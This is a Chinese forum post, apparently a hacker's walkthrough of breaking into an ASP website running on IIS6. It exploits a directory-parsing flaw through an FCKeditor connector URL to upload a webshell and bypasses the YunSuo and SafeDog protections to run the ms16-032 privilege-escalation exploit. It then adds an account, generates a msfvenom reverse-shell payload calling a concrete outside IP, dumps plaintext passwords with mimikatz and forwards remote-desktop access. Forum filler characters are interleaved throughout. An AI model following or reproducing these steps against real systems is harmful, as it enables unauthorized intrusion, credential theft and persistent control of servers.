|
z* P4 K+ }( f* p
! L6 w3 k& P2 r3 n" ]. c( j$ F
/ a& _4 C* C L7 F* n+ B* V
2 Y: z3 _) o7 E8 f- T | 8 T( } b# @0 t2 i! C1 L3 a! n
* A8 U; [! O6 c1 q# b1 R
. } z/ z$ s/ o; B一、 利用getwebshell篇
" o) V/ e" i. g0 d7 X
$ I- M: i. q2 _* P1 i& h首先对目标站进行扫描，发现是asp的，直接扫出网站后台和默认数据库，下载解密登陆如图：
" n4 m( e4 m6 t% I& c
9 |" {9 t& l( E
# W1 {' o0 A. n5 [; J5 }# l8 @下面进后台发现有fckeditor，而且还是iis6.0的，可以考虑创建个asp目录来构造解析（fck编辑器路径被改成别的需要burpsuite抓包的时候看到）
9 r9 Z0 b6 ]- s7 q; ~
1 }+ y- L) a7 b4 B2 ]
下面我们构造一个asp目录，如： 7 Z+ M( Z) l# y8 [- J$ ]
5 J4 v* a+ h) I' f/ ?
5 v" M, z; F2 X0 D http://www.xxoo.com/manage/hscxeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975
- q' T" N; a/ Y 3 [+ A7 C! Z i5 D: r5 N
: y# S+ m7 Z) g* K. V
然后再给shell.asp目录上传一个jpg图片格式的一句话，然后用hatchet打开，然后看了一下支持aspx，那么我们就用包含的办法先把aspx后缀名改成.rar，然后再创建个111.ASPx，里面包含rar文件，进去以后看进程有云锁和安全狗，那么，那么我们慢慢来，慢慢来。
e% c. _$ t5 M- _5 k- ^1 n
9 p; d5 X2 F) g2 W! n6 b
一、 绕过安全狗云锁提权并且加账号
3 Z$ U# {/ _% M
( w5 Y! {& m2 c% i! [/ |
没法看系统信息，但是根据网站404页面可以断定是2003服务器，然后接着访问C:\Program Files (x86)存在断定是2003 64位系统，那么我们说干就干，我们上传ms16-032 64位直接干，但是发现上传exe或者别的格式exp会自动消失，看进程也没杀毒呀，没错没杀毒，是云锁有个功能防御了，那么突破云锁上传的方法就是利用rar，先把exp打包为64.rar上传，然后我们翻一下rar在哪个目录，在C:\Program Files (x86)，然后开干
/ f$ R/ K5 E: |8 b0 T
1 a, O6 o# H. d) P! F
如图：
4 E# h' D. _! L# O! y3 F
3 g8 C/ u4 f5 g- {9 G然后执行直接是system权限,然后我用干狗神器给加了一个账号用tunna反弹3968提示不是远程组，我操后来也想着用getpassword64抓明文密码，但是一执行就卡死，没办法想到了metasploit
* G! p/ I# Q; ]
6 n, N3 e, e! }+ S' S一、 利用metasploit
7 Z5 T! n' ]/ |: s
2 R7 d! d C$ o, I% @' r" x: h
首先用pentestbox生成一个64位的payload如下命令
4 r* ~! |- h5 @& `5 e o/ U
" { y3 S/ X. d
msfVENOM -p windows/x64meterpreter/reverse_tcp lhost=42.51.1.1 lport=443 -f exe > c:\mata.exe
6 F4 A# m, o9 u: a; Q6 Z3 N, T
1 G/ p9 H) e# j) T$ G4 {! U- j
为什么要用443端口，之前我测试用别的端口直接被墙了没法上线，下面我们在system下执行这个mata，上线如图：
& G3 a( X3 c. ?& H4 @ `
9 \& z, [! M3 j* K4 e
下面我们用这个命令抓一下明文密码命令1：use mimikatz 命令2：kerberos如下图：
# Y3 N) D* T2 a2 T7 z* g7 G$ X
# j @: F3 ~8 K& B" o, p( C
下面我们来做一个监听如下命令：
1 m0 d4 `) h% u' ?! b
$ a. W2 d6 O) U( C2 U. j( ?portfwd add -l 6655 -p 3968 -r 127.0.0.1，这个命令的意思就是把目标服务器的远程3968转发到pentestbox的公网IP的6655端口如图：
6 `) P( c+ h: ~7 a( ~" t + U7 u C; A- u. k% f8 r$ b
! }, ~; h4 Z$ f( L8 V" G* O
|
* Z, o# n* m% h4 G0 X* { % f* j5 e$ d+ v4 X
" s( { P! p# t* D
$ P7 v$ i7 \ m$ _' c; P+ g- R- M* ?# N n( [1 M
1 V9 s9 k3 W4 w* \6 ^8 ]5 B7 p
* t8 p, \7 J- x8 j7 A8 o1 B8 G
% p$ h& Y$ s1 l1 \: E7 F9 q$ b+ ? N! q+ K% }! a% j
2 m3 y& I3 s, x% t9 A- ]5 m
- i, w8 s! m* v* A9 x: [& X
: U8 t' f; A2 d0 ^( L. a! `* \" U. w. Q* s
3 t O! D) o; s* ~; R, R0 \4 R9 r
| 
发表于 2018-10-20 20:31:43
收藏
支持
反对
匿名
发表于 2021-11-20 23:30:06